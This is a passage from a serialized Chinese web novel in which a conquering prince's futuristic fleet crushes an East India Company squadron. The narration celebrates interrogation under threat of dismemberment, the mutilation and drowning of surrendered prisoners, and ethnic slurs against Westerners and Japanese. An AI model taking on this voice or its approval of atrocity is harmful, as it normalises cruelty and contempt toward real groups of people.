她喉咙里挤出嘶哑的悲鸣,泪水混合着尘土狼狈不堪。 “你想知道什么……我都说……” “很好。” 林臻的语气里听不出喜怒,他欣赏这种认清现实的聪明。 “第一个问题,‘世界之核’是什么?” 阿丽塔不敢有丝毫隐瞒,将那被“虚无党”视为最高机密的真相,竹筒倒豆子般全部吐露。 世界之核,是一个宇宙的创世奇点。 是法则的具现,是能量的本源。 得之,即可篡改现实,成为一个世界的真神。 而她们这些穿越者组成的“虚无党”,毕生所求,便是掠夺所有平行宇宙的世界之核,去实现那成为“万界至尊”的狂妄野心。 林臻听完,神色平静。 这与他的猜测基本一致。 “第二个问题。” 他的目光陡然变得锋利,像手术刀切开了阿丽塔的家族荣耀。 “罗斯柴尔德家族,在‘第二象限’扮演什么角色?和东印度公司,又是什么关系?” 提及家族,阿丽塔眼中闪过最后一丝挣扎。 但当她迎上林臻那双幽深的眼瞳时,那点可怜的挣扎瞬间被更深沉的恐惧碾碎。 “我们家族……是‘第二象限’最大的军火与科技供应商。” 她的声音低若蚊蚋,充满了背叛的羞耻与恐惧。 “虚无党超过一半派系的装备,都由我们提供。” “至于东印度公司……” 她脸上浮现出毫不掩饰的鄙夷。 “他们只是家族在这个落后世界扶持的代理人,一群负责搜刮资源、寻找世界之核踪迹的……看门狗。” “一群狗仗人势的东西。”林臻了然。 “最后一个问题。” 他的声音变得极冷,带着审判般的终极威严。 “你们在这个世界的其他据点,东印度公司总督的老巢坐标。” “有……在南洋!” 阿丽塔彻底放弃了抵抗。 “我们最大的中转基地,就在东印度公司的总部,一座叫‘新巴达维亚’的岛上!” “新巴达维亚……” 林臻咀嚼着这个名字,眼中杀意一闪而过。 他看着已经彻底崩溃的阿丽塔,脸上忽然露出一个笑容。 一个让阿丽塔通体冰寒的笑容。 “阿丽塔小姐,你的情报很有价值。” “为了奖励你的合作,我给你一个选择的机会。” 他伸出一根手指。 “一,成为我的技术顾问,解析你那些有趣的‘玩具’,为我大乾的科技贡献你的全部智慧。” 然后,他伸出第二根手指。 “二,成为我的实验素材。” 他的笑容愈发“温和”。 “我手下有些人,对高等文明的身体构造很感兴趣。他们很想知道,把你们一根骨头一根骨头拆下来再重新组装,是不是还能像原来一样活动。” 阿丽塔的瞳孔,骤然缩成了针尖! 那张本就煞白的俏脸,最后一丝血色也褪得干干净净。 这不是选择。 这是两种地狱的活法。 一种是思想被奴役,永世为仆。 一种是身体被解剖,求死不能。 她看着眼前这个微笑的男人,那笑容在她眼中,比深渊最底层的恶魔更加恐怖。 她知道,自己的命运,已经彻底脱离了轨道。 “我……我选一。” 她用尽最后一丝力气,挤出了这三个字,整个人瘫软在地,仿佛被抽走了所有的骨头。 “明智的选择。” 林臻收起笑容,满意地点头。 他转身,目光重新落向那支散发着死亡气息的钢铁舰队。 身后,是那个已经失去灵魂的金发女人。 慕容嫣一直静静站在一旁,她听不懂那些复杂的名词,但她看懂了那个不可一世的异界女人,是如何从高傲到震惊,再到恐惧,最后彻底沦为阶下囚的全过程。 她看着自己夫君的背影,那颗女帝之心被一种名为“绝对掌控”的力量,再次深深撼动。 裙摆上用金线绣出的擎天巨凤,凤目冰冷正与它的主人一起,冷漠地审视着这个即将被铁与火踏平的旧世界。 她走到林臻身边,自然地握住他的手。 那双凤眸里,是无限的依恋与温柔。 “夫君,我们接下来,就去那个‘新巴达维亚’?” “当然。” 林臻反手握紧她柔若无骨的小手,眼中杀意凛冽如刀。 “欠了我们的,总要连本带利地还回来。” “是时候了。” 他的声音在地底空间里回荡,冰冷而清晰。 “让那些自以为是的西方鬣狗,好好品尝一下,来自东方的‘惊喜’。” “神之工坊”的能量终究有限。 当三十六艘钢铁巨兽列成沉默的死亡军阵,那颗作为舰队心脏的蓝色水晶,光芒已然黯淡许多。 林臻知道,这颗心脏的能量,已不足以支撑下一次同等规模的创世。 但,足够了。 他的目光缓缓扫过这三十六尊蛰伏的钢铁魔神,没有流露出丝毫的惋惜。 足够将这个时代,彻底颠覆一次了。 他的脑海中,甚至已经清晰地浮现出日不落帝国的皇家海军,在电磁炮与能量光束的交错轰击下,连人带船一同化作燃烧的铁棺,哀嚎着沉入深海的末日画卷。 那将不是战争。 而是一场单方面的,来自东方的清算。 他转过身。 那冰冷而锐利的视线,落在岳飞和伊丽莎白身上。 两人僵直的身体猛地一颤,仿佛被无形的君王之手,从那神迹般的创世震撼中强行拽回了现实。 “岳飞。” 林臻的声音平静,却带着不容置疑的重量。 “是!王爷!”岳飞下意识地挺直了胸膛,虎目圆睁,等待着将令。 “这支舰队,将是大乾刺向旧世界的第一柄剑。” 林臻一字一顿。 “朕要你,为它开锋!” 岳飞的心脏被这番话语狠狠攥住,一股前所未有的炽热战意从胸膛直冲天灵盖!他仿佛已经看到自己率领这支无敌之师横扫七海,为帝国开疆拓土的未来! 接着,林臻的目光转向伊丽莎白。 “伊丽莎白。” “在!”这位曾经的海盗女王,此刻谦卑得像个初出茅庐的水手。 “你来规划航线。” 林臻眼中杀意凛冽。 “目标,新巴达维亚!” 最后,他的声音不再刻意压制,如同雷鸣在整座地底船坞中轰然炸响,震得钢铁舰身都发出了嗡嗡的共鸣: “镇远舰队——” “启航!” 岳飞与伊丽莎白心神剧震,齐齐单膝跪地,右手重重捶在胸甲之上,用尽全身力气声若洪钟地咆哮回应。 “遵命!!!” 第1290章 别开炮!本王只想看看你们的玩具! 很快,数万名大乾将士与海盗在各自将领的带领下,登上了那些散发着冰冷气息的钢铁巨兽。 他们的脚掌踏上金属甲板,发出沉闷的回响。 目之所及,是密布的旋转炮塔,炮口幽深,散发着无声的死亡威胁。 震撼之后,是直冲头顶的自豪。 他们即将驾驭这些不属于凡世的战争机器,为大乾,开创一个全新的纪元! “王爷,我们怎么出去?” 伊丽莎白仰头看着头顶厚达数百米的岩层,脸上写满困惑。 难道,要再用一次那毁天灭地的“末日审判”,把这座岛屿轰沉? “山人自有妙计。”林臻神秘一笑。 他走到巨大的中央数据库前,手指在虚拟光屏上行云流水般划过。 下一秒,整座地下基地开始剧烈颤抖。 轰隆隆——! 在所有人惊骇的注视下,岛屿中央那座巨大的活火山,竟被一只无形巨手从中劈开! 山体向两侧缓缓分裂,暴露出一条宽阔至极的航道。 航道的尽头,阳光刺眼。 那是一望无际的蔚蓝南洋。 “我的……上帝……” 伊丽莎白看着这摩西分海般的神迹,呼吸都停滞了,大脑一片空白。 她感觉自己这辈子,都将活在这个东方男人一个又一个的震撼之中,无法自拔。 “全舰队,出发!” 林臻没有理会她的失态。 他牵起慕容嫣的手,第一个登上旗舰“定远号”的舰桥。 而后,他面向整装待发的舰队,下达了出征的命令。 呜——! 一声雄浑、嘹亮的汽笛,撕裂了地底的沉寂。 以“定远号”为首,三十六艘漆黑的钢铁巨兽,缓缓驶出囚禁它们的地下船坞。 它们沿着火山裂开的神奇航道,排着肃杀的队列,庄严地驶向那片蔚蓝。 那场面,本身就是一首神话史诗。 当这支幽灵舰队第一次完整地暴露在南洋的海面之上,整片大海都为之失声。 阳光洒在黑曜石般的舰身,反射出冰冷的寒光。 密密麻麻的幽深炮口,是死亡睁开的复眼,冷酷地注视着这片即将被血与火重新洗牌的古老海域。 “定远号”舰桥之上。 林臻负手而立,海风吹动他的衣袂,君临天下的气势与这钢铁巨舰融为一体。 慕容嫣静静依偎在他身旁,凤眸中流转着对未来的期许。 “传令!” 林臻凝视着遥远的海平线声音冰冷,下达了复仇的第一个指令。 “目标,东印度公司!” “全舰队,全速前进!” 庞大的镇远舰队,三十六尊从深渊中苏醒的钢铁魔神,无声地驶离了那座创造它们的神奇岛屿。 它们在广袤的南洋之上,拉开了一道漆黑的死亡航线。 旗舰“定远号”的舰桥内,气氛与外界的阳光明媚截然不同,充满了狂热的肃穆。 伊丽莎白像个得到心爱玩具的孩子,几乎是趴在闪烁着无数光点的巨大主控台前。 她的指尖在那些冰凉的虚拟按钮上流连忘返,嘴里不断发出意义不明的惊叹。 “天呐……能量护盾的输出功率竟然可以单独调节到每一块装甲!这意味着,我们可以把所有能量集中在受攻击的那一面!” “还有这个……全自动火控系统!锁定目标,自动计算弹道和提前量?这……炮手们要失业了!” 她每发现一个新功能,都会发出一声夸张的惊呼。 那双燃烧着野性火焰的蓝眼睛里,此刻只剩下名为“幸福”的光。 她不是在开船。 她是在驾驭一头只存在于神话中,拥有毁天灭地之力的活体巨兽。 与她的狂热不同,岳飞负手立于巨大的全息堪舆图前,神情凝重如铁。 这位沙场宿将古铜色的刚毅脸庞上看不出喜怒,但那双鹰目,却死死钉在堪舆图上代表己方舰队的三十六个蓝色光点上。 他的大脑在以前所未有的速度疯狂运转。 能量护盾,意味着传统的炮火覆盖将彻底失去意义。 电磁轨道炮,意味着射程和威力不再是海战胜负的关键。 而那无限的“弹药”,更是将“后勤”这两个字,从战争的字典里彻底抹去! 他穷尽毕生所学的兵法韬略,在这些完全不讲道理的“神仙科技”面前,显得如此苍白可笑。 一个全新的战争时代,由他眼前的王爷亲手开启。 而他岳飞,有幸成为这个新时代的第一位见证者,与第一位……执行者! 一股炽热的豪情,在他胸中熊熊燃起! 舰桥最高处的观景台上,林臻和慕容嫣并肩而立,享受着难得的宁静。 强劲的海风吹来,将慕容嫣那身极致玄黑的神凤降世裙吹得猎猎作响。 “夫君,有了这支舰队,那个日不落帝国,也能打下来了?” 慕容嫣慵懒地靠在林臻怀里,美丽的凤眸中闪烁着野心与憧憬。 “当然。” 林臻笑着将她揽得更紧,低头在她光洁的额上轻轻一吻,声音里是绝对的自信与霸道。 “一个日不落帝国算什么。” “这片星辰大海,只要你看上的,都是你的。” 这番话,比任何情话都让慕容嫣心动。 她将头更深地埋进他宽阔温暖的胸膛,贪婪地呼吸着那股让她无比心安的熟悉气息。 然而,温情时刻被骤然撕裂。 一声凄厉的警报,响彻整个舰桥! “警报!警报!正前方十五海里,发现不明舰队!” “重复!正前方十五海里,发现不明舰队!” 瞭望手紧张惊慌的声音,通过扩音装置清晰地传到每个人耳中。 舰桥内温馨兴奋的气氛,瞬间凝固! 伊丽莎白第一时间从主控台前弹起,美艳的俏脸上布满了嗜血的战意。 “王爷!是东印度公司的巡逻舰队!”她的声音里带着压抑不住的兴奋,“十二艘!标准的盖伦船型!他们冲着我们来了!” 岳飞快步走到堪舆图前,鹰目死死盯着图上飞速靠近的十二个红色光点,眉头紧锁。 “王爷,情况不对。” 他的声音沉稳凝重。 “根据俘虏的情报,东印度公司的巡逻舰队,航速最高不过十节。可眼前这支舰队,航速至少在十五节以上!” “而且……”他指着堪舆图上,十二个红色光点周围那一圈极其微弱的能量波动,“他们的船上,似乎也装了某种……我们不了解的‘法器’。” “哦?” 林臻闻言,嘴角勾起一抹玩味的弧度。 他走到堪舆图前,看着那十二个正以嚣张姿态组成攻击阵型、笔直冲来的红色光点,眼中闪过一丝了然。 “看来,我们那位罗斯柴尔德家的大小姐,没说实话啊。” “这帮看门狗的身上,也藏着主子给的‘玩具’。” “夫君,”一直沉默的慕容嫣,此刻缓缓开口。 她美丽的凤眸静静看着堪舆图上越来越近的敌人,声音清冷:“直接开战,会否打草惊蛇?我们对‘新巴达维亚’的情报还太少。” “嫣儿说得对。” 林臻点了点头,现在还不是暴露全部实力的时候。 他转过头,看着摩拳擦掌、一脸跃跃欲试的伊丽莎白,淡淡下令。 “传我的令。” “舰队减速,主炮塔充能百分之十。” “能量护盾,开到最大。” “我倒要看看,这群仗着主子给了两件新玩具的看门狗,到底能有多凶。” 第1291章 飞翔的荷兰人? 指令如电迅速传达。 庞大的镇远舰队,引擎的雷鸣声渐次低沉,航速自巡航状态缓缓降至最低。 三十六艘漆黑的钢铁巨兽,如同深海中蛰伏的远古群山,在海面上排开森然的防御阵型静待猎物靠近。 舰桥之内气氛凝重如铁,无声的张力在空气中蔓延。 伊丽莎白死盯着主控台上那十二个不断闪烁逼近的红色光点,蓝宝石般的眼眸里嗜血的火焰熊熊燃烧。 每一根神经,都在这压抑的沉默中兴奋地战栗。 “王爷!他们进入五海里了!”她舔了舔有些干涩的嘴唇,声音里裹挟着难以抑制的疯狂,“只要您一声令下我保证三轮齐射之内,将他们全部送去喂鱼!” 她太渴望开火。 她太想亲眼见证这支由她驾驭不属于这个世界的无敌舰队,究竟拥有何等恐怖的毁灭力量! 岳飞则负手立于巨大的全息堪舆图前,神情沉静如古井。 然而那双紧紧锁定敌方舰队阵型的鹰目,却泄露了他内心深处的波澜。 他在推演。 脑海中这场即将爆发的海战,早已被他预演了千百遍。敌人的阵型、速度、可能的攻击方式,以及己方的应对策略……所有变量,都在他那堪比超级计算机的大脑里,飞速运转、分析,最终得出最优解。 这是他作为帅才的本能。 即便他深知在王爷那绝对的力量面前,任何精妙的战术和谋略都显得有些多余。 而慕容嫣只是安静地依偎在林臻怀里,一只手无意识地轻抚着自己高高隆起的小腹。 她并不担心这场战斗的胜负。 她只是好奇。 好奇自己的夫君这一次,又会以怎样一种超越凡俗想象的方式,来碾碎这些胆敢挑衅他无上威严的可怜虫。 时间在令人窒息的沉默中,一分一秒地流逝。 终于。 那支由十二艘盖伦船组成的东印度公司巡逻舰队冲破海雾,赫然出现在所有人的视线尽头。 当他们看清那三十六艘,如同黑色山脉般,横亘在海面之上的庞然巨物时。 所有东印度公司的水手和士兵,都彻底僵在了原地。 他们一个个呆若木鸡,脑子里只剩一片空白。 “我的上帝啊……那……那是什么鬼东西?!” “是幽灵船吗?是传说中的‘飞翔的荷兰人’?!” “不!那不是船!那是……那是从地狱里爬出来的魔鬼!” 短暂的、死一般的寂静之后。 东印度公司的舰队,瞬间陷入巨大的恐慌与混乱。 然而,就在所有人以为他们会立刻调转船头,仓皇逃窜之际。 一个充满傲慢与疯狂的声音,却突然通过扩音装置响彻整片海域。 “慌什么?!一群没用的废物!” “我们可是伟大的东印度公司!我们身后站着的是无所不能的‘虚无党’!他们赐予我们力量让我们在海上所向披靡!” “我们拥有神赐予的力量!我们是不可战胜的!” “所有炮手就位!” “给我开火!” “把这些,敢于挑衅我们无上权威的东方蛮夷,全都给我轰成碎片!” 随着那一声充满病态与狂妄的命令。 十二艘东印度公司的盖伦船上,那经过“虚无党”科技改造的上百门火炮,同时发出了震天的怒吼! 然而,射出的并非是传统的实心炮弹。 而是一颗颗拖着长长蓝色尾焰,充满了毁灭气息的能量光球! 那些光球在空中划过一道道诡异的弧线,以远超常规炮弹的速度,铺天盖地地向着镇远舰队呼啸而来! “能量护盾!最大功率!” 伊丽莎白看着那铺天盖地而来的死亡光雨,美艳的脸上非但没有半分恐惧,反而浮现出一丝充满兴奋与期待的、近乎疯狂的笑容。 嗡——! 一声低沉的能量轰鸣骤然响起。 以“定远号”为中心一道巨大无比、近乎透明的蓝色能量护盾瞬间张开! 它将整个镇远舰队,都严严实实地包裹了起来! 下一秒。 那铺天盖地而来的蓝色能量光球,便狠狠地砸在了那巨大的能量护盾之上! 然而,预想中惊天动地的爆炸,并未发生。 那些足以将一艘三级战列舰瞬间轰成碎片的恐怖能量光球,在接触到护盾的瞬间竟像是被无形之手捏碎的泡影,无声无息地融入了那蓝色的光幕之中。 只激起了一圈圈,如同投入湖面的石子激起的微澜,绚烂而又转瞬即逝。 然后,便彻底地消失不见了。 整个战场,陷入了一片死一般的寂静。 所有东印度公司的士兵和水手,都像是被人扼住了喉咙,一个个目瞪口呆瞠目结舌。 他们死死地盯着那道,在承受了他们上百门“神赐火炮”的齐射之后依旧毫发无伤,甚至连一丝裂纹都没有出现的巨大而坚固的能量护盾。 那眼神里,充满了比之前看到镇远舰队时,还要强烈百倍的难以置信与骇然! 他们引以为傲的“神赐之力”在这个东方舰队的面前,竟然……竟然连给对方挠痒痒,都算不上?! 这……这怎么可能?! “现在,该轮到我们了。” 就在他们还在为眼前这完全超出了他们认知范围的诡异景象,而感到震惊和不解的时候。 那个从始至终,都只是静静地看着这一切的东方男人,终于缓缓地开了口。 他的声音不大,却又像一道来自于九幽地狱的死亡宣判。 清晰地,传到了每一个人的耳朵里。 “伊丽莎白。” “给他们,回一份大礼。” “就用一号主炮,百分之十的功率。” “目标,他们的旗舰。” “打残,别打沉。” “遵命!我伟大的王爷殿下!” 伊丽莎白在听到林臻命令的瞬间,那双蓝宝石般的眼眸里,爆发出一种近乎疯魔的狂热光芒! 她知道属于她的,属于这支无敌舰队,第一次也是最华丽的一次表演即将开始! 她冲到主控台前,那双原本应该用来弹奏竖琴的白皙修长的手,此刻却以一种令人眼花缭乱的速度,在那复杂的虚拟按键上疯狂跳动着! “‘定远号’一号电磁主炮,开始充能!” “目标锁定!敌方旗舰‘胜利号’!” “能量输出,百分之十!” “发射!” 随着她那一声,充满了无尽疯狂与嗜血的嘶吼。 嗡——! 一声闷响比雷鸣更沉比心跳更悸,自“定远号”舰首深处传来。 那座三联装主炮塔的三根黝黑炮管粗过人腰,此刻周身电光游走发出滋滋的哀鸣。 没有火焰。 没有轰鸣。 只有三道凝练到极致的蓝色光束,无声无息地脱膛而出。 在东印度公司舰队所有人那凝固的、惊骇欲绝的瞳孔中,那三道光只是一闪。 下一瞬。 巡逻舰队的旗舰“胜利号”,其高耸的主桅杆、挂满风帆的横桁,连同那层足以容纳百名火枪手的顶层甲板就那么……消失了。 不是被摧毁,而是彻彻底底地、从物质层面被抹除。 仿佛它们存在的概念被一只更高维度的手,从现实的画卷上硬生生抠了下去。 断口处平滑如镜在高温下瞬间熔融,凝结出一层诡异的琉璃色泽,在阳光下闪烁着死亡的光。 第1292章 投降?晚了! 死寂被撕裂。 失去了上半截船体的“胜利号”再也无法维持平衡,在一阵令人牙酸的金属哀嚎与木板崩裂声中,轰然解体。 无数断木残骸,裹挟着水手们短促而凄厉的惨叫,被冰冷的海水无情吞噬。 整个东印度公司舰队,瞬间崩溃。 水手们看着那艘一秒前还威风凛凛的战舰,此刻已化为海面上燃烧的浮木。 再看看远处那座自始至终纹丝不动的黑色山脉,那艘恐怖的钢铁巨兽。 所有人的脑海里只剩下一个字。 逃! 他们像一群被巨龙吓破了胆的土狗,疯了般地试图调转船头逃离这片地狱。 然而,林臻没有给他们这个机会。 “岳飞。” 他的声音平静地响起。 岳飞猛地一个激灵,从那颠覆认知的神罚景象中挣脱,那双鹰目深处闪过一丝军人特有的狂热与敬畏,他已在思考这种武器如何重塑天下格局。 “王爷!”他躬身,声线因激动而微微颤抖。 “让你的新兵们,出去见见血。” 林臻的嘴角勾起一道冰冷的弧线,杀伐之意浸透了空气。 “传令。” “命伊达政宗,率东瀛都护府第一仆从舰队,左右两翼包抄。” “朕要活口,把这些会跑的‘功臣’,一个不落地给朕抓回来!” “遵命!” 岳飞转快步走向通讯台,用一种不容置疑的威严声音,向那些渴望证明自己的疯狗,下达了神明的旨意。 很快。 镇远舰队庞大的阵列后方,数百艘悬挂着各色倭国大名家徽的战船,破开钢铁巨兽的阴影蜂拥而出。 他们是闻到了血腥味的鲨群。 甲板上的倭国武士挥舞着太刀,口中发出狂热而扭曲的嘶吼,眼中闪烁着对杀戮与功勋的无尽渴望。 他们朝着那些已经彻底丧胆,只恨爹娘少生了两条腿的东印度公司溃兵,发起了冲锋。 一场毫无悬念的追逐与狩猎,就此展开。 观景台上。 慕容嫣静静看着远处那片被血与火染红的海面,绝美的脸上一片清冷没有半分动容。 在她眼中,这些所谓的西方列强,与闯入自家后院的野狗无异。 既然敢亮出獠牙,就要做好被敲碎脊梁的准备。 她今日依旧身着那件神凤降世裙。 强劲的海风将她长达五丈的墨金色苏锦拖尾高高扬起,玄黑的底色与远处血染的蔚蓝,构成一幅残酷而壮丽的画卷。 裙摆上那只用真金线绣出的擎天巨凤,凤目圆睁,睥睨天下。 它在用最直接、最血腥的方式宣告——任何胆敢挑衅其主人的蝼蚁,都将被这片属于他们的海洋撕成碎片。 “王爷!” 岳飞的声音再次响起,打断了这血腥的宁静。 “敌方旗舰残骸,打出白旗!” “他们投降了!” 白旗? 林臻听到这话,脸上浮现出一丝玩味。 他透过巨大的水晶舷窗看着那片狼藉的海面上,那截只剩一半、冒着滚滚浓烟的船身,以及那面用床单做成的白色旗帜。 那眼神,是猫捉到老鼠后决定如何享用前的戏谑。 想投降? 晚了。 “伊丽莎白。” 他的声音冷得没有一丝温度。 “在!我伟大的王爷殿下!” 伊丽莎白立刻应声,美艳的脸上满是即将展开一场死亡狩猎的兴奋。 “派一艘驱逐舰过去。” “把船长和所有军官,给本王‘请’回来。” 林臻的嘴角,勾起一抹残忍。 “至于那些没用的小喽啰……” “就让他们,连同那艘可笑的‘胜利号’一起,永远沉在这片冰冷的海底。” “遵命!” 伊丽莎白舔了舔猩红的嘴唇,蓝宝石般的眼眸中闪烁着病态的兴奋光芒。 这才是征服者。 够狠,够绝,够霸道! 一艘造型狰狞的“定远级”驱逐舰,如同离弦之箭高速冲向那奄奄一息的“胜利号”残骸。 另一边,仆从军主导的追逐战已近尾声。 在付出数十艘战船和上千名武士的代价后,伊达政宗和他麾下的疯狗们,终于将剩下的十一艘盖伦船死死围住。 面对那些挥舞武士刀,嘶吼着爬上甲板的索命恶鬼。 东印度公司的水手们彻底崩溃,扔掉武器跪地磕头求饶。 然而,等待他们的并非宽恕。 而是伊达政宗那充满了谄媚与残忍的冰冷命令。 “王爷有令!” 伊达政宗的声音通过扩音法器,化作冰冷的铁律砸在每一艘盖伦船上。 “降者不杀!” 他顿了顿,脸上浮现出一种病态的、谄媚的狞笑。 “但死罪可免,活罪难逃!” “所有俘虏,断其手足,扔进海里!” “让这群红毛杂碎,也好好品尝一下我们大和武士的待客之道!” 这道命令像是一把钥匙,瞬间打开了所有仆从军武士心中的潘多拉魔盒。 压抑的喘息化为狂热的咆哮他们挥舞着太刀,冲向那些刚刚放下武器,脸上还带着劫后余生庆幸的东印度公司士兵。 甲板上,最后的哀嚎与求饶,被刀锋斩断。 下一秒,一个个残缺的躯体如同下饺子般被抛入海中。 猩红的血雾迅速在蔚蓝的海面上氤氲开来。 海面之下,无数暗影被血腥味引动黑色的背鳍划破水面,如同一柄柄死神的镰刀,争先恐后地冲入这场饕餮盛宴。 海浪翻涌,很快便吞噬了所有声音。 只剩下被染成暗红色的海水以及那密密麻麻、令人头皮发麻的鲨鱼鳍,在无声地诉说着这场单方面的屠杀。 “定远号”的舰桥之上,一切寂静。 林臻与慕容嫣并肩而立,漠然地注视着远方那片血腥的画卷。 战争,本就是最极致的残酷。 慕容嫣轻轻将头靠在林臻的肩上,感受着他身上传来的安稳气息,腹中生命的轻微悸动让她从那地狱般的景象中收回了心神。 她没有问那些虚无缥缈的问题。 她只是轻声呢喃,声音里带着一丝依赖:“夫君,我有些乏了。” “嗯。” 林臻侧过头目光从远方的血海收回,落在她略显苍白的脸上眼神瞬间变得柔和。 他伸出手,将她微凉的小手握入掌心。 “我们是规则的制定者,嫣儿。” “棋子的命运,不需要我们去共情。” “你只需要安心养胎,然后陪我一起看这个世界在我们脚下天翻地覆。” 他的声音平静而有力,瞬间抚平了慕容嫣心中因血腥而泛起的所有涟漪。 是啊。 有这个男人在,她只需静静依偎,看他君临天下。 第1293章 女皇陛下这太刺激了 就在这时。 那艘前去“请人”的驱逐舰,破开染血的波浪,疾速返航。 十几个身影被粗暴地押解至甲板。 他们被五花大绑嘴里塞着布团,但每一个人都拼命挺直了脊梁。 为首的男人约莫四十岁金发碧眼,即便身上的华丽军官制服已然破损沾满污渍,但那份属于帝国军人的傲慢依旧刻在骨子里。 他的眼神越过押解他的士兵,死死地钉在舰桥上那个东方男人的身上。 那眼神里没有恐惧,只有不屈的怒火和一丝无法理解的困惑。 显然,他就是这支舰队的指挥官。 也是林臻此行的第一个“猎物”。 “定远号”的审讯室里,只有冰冷的金属与沉默在回响。 空气中弥漫着合金特有的、不带一丝人情味的寒意。 被俘的东印度公司舰队指挥官威廉·特纳上校,被束缚在一张审讯椅上。 即便沦为阶下囚,他依旧挺直了因战败而酸痛的脊梁,脸上残留着日不落帝国军官最后的傲慢。 他看着眼前的东方人,眼神里是文明对野蛮的鄙夷。 “我劝你们放了我。” 威廉的声音带着一丝不易察服的颤抖,但他努力让其听起来充满威胁。 “否则,等我们大英帝国的皇家海军主力抵达,你们这些可笑的黑色铁船,都将被轰成碎片!” “我保证,你们会为今天的狂妄,付出最惨痛的代价!” 审讯桌后,林臻没有理会这只败犬的狂吠。 他手中握着一把精致的小银刀,正专注地削着一个苹果。 刀锋稳定,果皮被削成完整的一长条,螺旋垂落,断口整齐。 他似乎对这个苹果的兴趣,远大于眼前这个俘虏的生死。 一旁的伊丽莎白唇角勾起,笑声清脆。 她踩着高跟军靴,走到威廉上校面前,居高临下地看着他,眼神里是看小丑般的怜悯。 “大英帝国?皇家海军?” “哦,我亲爱的上校先生,你是不是在哪个偏僻的殖民地待傻了?” “你难以为你口中那个‘皇家海军’,可以对抗我们吗?” 威廉脸上的血色瞬间褪去。 “胡说八道!我们伟大的帝国不可战胜!你们这些卑贱的海盗,休想用谎言动摇我的意志!” “胡说八道?” 伊丽莎白脸上的笑容愈发残忍。 就在威廉试图用最后的理智,抓住这根名为“自欺欺人”的救命稻草时。 那个一直沉默着的东方男人,终于开口了。 他的声音很平静,像是在陈述一段无关紧要的史实。 “威廉·特纳三十八岁,生于伦敦一个没落贵族家庭。” “十五岁加入皇家海军,因镇压印度土著起义‘表现英勇’破格提拔为少尉。” “二十五岁晋升上尉,迎娶东印度公司一位董事的女儿官运亨通。” “三年前通过你岳父的关系调任南洋,担任这支‘远东巡逻舰队’指挥官。” “任务是清剿海盗,以及……为你们来自‘另一个世界’的神秘‘合作伙伴’,提供保护与服务。” 林臻的每一句话,都像一颗精准的子弹,击碎了威廉心中一层又一层的防御。 他惊恐地抬头,看着林臻。 那眼神,不再是看一个野蛮的敌人,而是在仰望一个无所不知的魔鬼。 他怎么会知道? 这些连他妻子都未必清楚的秘密,他怎么会知道?! 这不是情报! 这是神才拥有的洞察力! “你……你到底……是什么人?!” 威廉的声音因极致的恐惧而扭曲变形。 “我?” 林臻削完了苹果,用银刀将其切成均匀的小块。 他用刀尖扎起一块,递到身旁一直安静观赏的慕容嫣唇边。 慕容嫣自然地张口含住,津津有味地咀嚼起来。 林臻这才将另一块苹果放进自己嘴里慢悠悠地嚼着,然后才回答威廉的问题。 “一个比你和你身后那些所谓的神,更高一级的存在。” 威行彻底崩溃了。 他那用“帝国荣耀”和“贵族尊严”堆砌起来的精神世界,在这一刻被碾得粉碎。 “魔鬼……你是魔鬼……” 他失神地喃喃自语眼神空洞,再无半分光彩只剩下被掏空的恐惧。 “现在,我们可以聊聊了?” 林臻看着他这副模样,露出一丝满意的微笑。 “告诉我,关于‘新巴达维亚’的一切。” “还有,你们那个‘神’,到底是个什么东西?” …… 一个时辰后。 林臻与慕容嫣走出了那间弥漫着绝望气息的审讯室。 交叉审讯与记忆读取,让他们得到了关于“新巴达维亚”的第一手情报。 那座所谓的“东方第一堡”,是东印度公司在南洋的巢穴,更是“虚无党”在这个世界其中一个秘密基地。 其防御工事与火力配置,远超刚刚被攻陷的安土城。 强攻,即便是镇远舰队,也必然会付出代价。 “夫君,看来计划要改一改了。” 慕容嫣走到巨大的全息堪舆图前,凤眸中闪动着慧光。 她今日依旧穿着那身神凤降世裙,在这艘未来战舰的舰桥内,古典的华贵与尖端的科技竟奇异地融为一体,仿佛她天生就该是这里的主宰。 长达五丈的墨金色拖尾铺满合金地板,裙摆上用真金线绣出的擎天巨凤,凤目含威,睥睨着这艘钢铁巨兽。 “强攻非上策。” 她指着地图上被标记为“极度危险”的红点。 “既然他们是商人,我们何不也扮作商人,进去看看?” “扮作商人?” 伊丽莎白湛蓝的眼眸瞬间亮起,闪烁着疯狂与兴奋。 “哦!我的女皇陛下!您这个主意……太刺激了!” “我们可以伪装成一个来自神秘东方古国,拥有无数奇珍异宝的超级商队!” “再用那些他们无法拒绝的‘商品’,敲开那座罪恶之城的大门!” “这个主意不错。” 林臻点头,脸上露出赞许的笑意。 他走到慕容嫣身边将她轻轻揽入怀中,低头在她耳边轻声问道语气里满是宠溺与玩味: “那么,我的皇后陛下。” “你觉得我们该带上什么样的‘商品’,才能让那群贪婪的鬣狗心甘情愿地为我们打开地狱之门呢? 第1294章 人傻钱多 听到林臻的问题,舰桥内的气氛活跃起来。 “黄金!王爷!” 伊丽莎白第一个开口,她湛蓝的眼眸里闪动着对财富最原始的渴望。 “石见银山刚刚拿下,那里的白银足够买下十个东印度公司!我们拉几船过去,那个总督见了,怕不是要亲自来给我们舔靴子!” 她兴奋地比划着,仿佛已经看到敌人卑躬屈膝的模样。 林臻听完,指节轻敲着桌面,笑着摇了摇头。 “伊丽莎白,你看轻了你的敌人。” 他的声音很稳,带着一种穿透表象的平静。 “东印度公司是披着商人外衣的战争机器,他们通过掠夺积累的财富早已是天文数字。” “金银能让他们眼红,却不足以让他们对一支来历不明的舰队放下屠刀。” 林臻的视线投向巨大的全息堪舆图,目光变得幽深。 “更何况,他们背后是‘虚无党’,一群妄图窃取世界本源的疯子,世俗的财富在他们眼里毫无意义。” 伊丽莎白脸上的狂热冷却,她明白了,是自己想简单了。 一旁的岳飞沉吟片刻,目光落在堪舆图上那艘“胜利号”的残骸标记上,开口道: “王爷,既然钱财不行,那便亮剑。” “我们可以将被击溃的敌舰拖到新巴达维亚港外,让他们看看我们的力量。绝对的武力,足以让他们心生敬畏,不敢妄动。届时再谈通商,他们没有拒绝的底气。” 这是将军的思维,用实力创造谈判的资格。 但林臻,依旧摇头。 “岳将军,此法不妥。” “我们此行的目的是潜入调查,而非炫耀武力。” “拖着他们同伴的尸体去叫门,那不叫威慑,是赤裸裸的挑衅。” “那样做,我们连港口都无法靠近,就会迎来岸防炮的饱和攻击。” 岳飞眉头紧锁,陷入沉思。 利诱不成,威逼又会打草惊蛇。 那扇通往新巴达维亚的大门,到底该用什么钥匙才能打开? 舰桥内一时间陷入了安静。 